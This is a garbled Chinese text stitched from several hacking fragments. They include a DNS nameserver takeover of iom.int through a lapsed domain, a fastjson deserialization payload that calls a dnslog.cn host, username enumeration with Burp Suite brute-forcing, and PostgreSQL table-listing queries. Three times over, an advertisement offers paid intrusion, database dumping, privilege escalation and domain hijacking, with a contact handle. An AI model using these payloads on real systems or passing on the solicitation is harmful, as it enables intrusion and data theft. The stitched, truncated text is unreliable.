一旦我认识到iom.org.ph域名确实可用时，我可以注册这个域名，并将这个域名变成iom.int域名的权威解析服务器。这和我们上一篇文章中maris.int域名很相似，并且有一个有趣的问题。当一个人试图访问iom.int域名时，最终通过我们的解析服务器来查询的可能性是百分之50(根据前面“dig iom.int +trace”的结果，读者可以想想为什么是50%)。出现这个结果是因为DNS的轮询调度机制，这是一种利用多个服务器来分散DNS查询负载的技术。这个概念是相当简单的，在DNS系统中，如果你想利用多个服务器来分散DNS的查询负载，对于一个查询，就可能会得到多个结果(这个结果不是最后的IP，而是中间过程中查询到了解析服务器的结果，解析服务器会有多个)。因此，为了均匀的分配负载，你得到的返回结果将会是随机的，这样的话，查询客户端第次查询都会选择一个不同的解析服务器(NS记录)。在这个例子中，当我们查询DNS的A记录时，根据这个机制，有可能在三个IP中随机的返回一个，每个IP的可能性大约是33.33%。举个例子，假设我们要尝试向“.int”顶级域名的解析服务器查询iom.int域名的NS记录(解析服务器)。首先，我们通过下面的步骤得到“.int”顶级域名和解析服务器：

我们可以指定扫描的频道范围，并打印出解码后的Enhanced-Shockburst数据包。脚本的可用参数如下所示：
扫描频道范围1-5的设备：


在所有频道中扫描地址开头为0xA9的设备：
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

fastjson反序列化
查看pom.xml文件发现fastjson版本1.2.55，该版本存在漏洞，利用DNSlog进行验证。
fastjson涉及反序列化的方法有两种，JSON.parseObject()和JSON.parse()，在代码中直接搜索parseObject。

对该方法进行回溯，随机选取一个判断传进去的参数是否可控。通过上面的SQL注入分析已经知道getUserList方法中的search是直接从前端传进来的，参数可控。直接构造Payload：{"@type":"java.net.Inet4Address","val":"2czklw.dnslog.cn"}

然后在进行URL编码。
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM

当用户不存在时提示用户名不存在，可以以此来枚举用户的账号。
成功爆破出用户名。

利用burpsuite进行爆破。

成功爆破出密码。

SELECT tablename
FROM pg_tables
WHERE schemaname = 'public';
ELECT tablename, schemaname
FROM pg_tables
WHERE schemaname NOT IN ('information_schema', 'pg_catalog');
适用于多模式（schema）环境，过滤掉系统表。

通过information_schema.tables
金融股民渗透国内app，海外网站app，入侵后台，说裤数据库，dns持服务器进入等等
接渗透拿站，各大网站数据-拖库-提权联系
域名劫持 DNS 入侵网站 联系：@hacker_HouZiM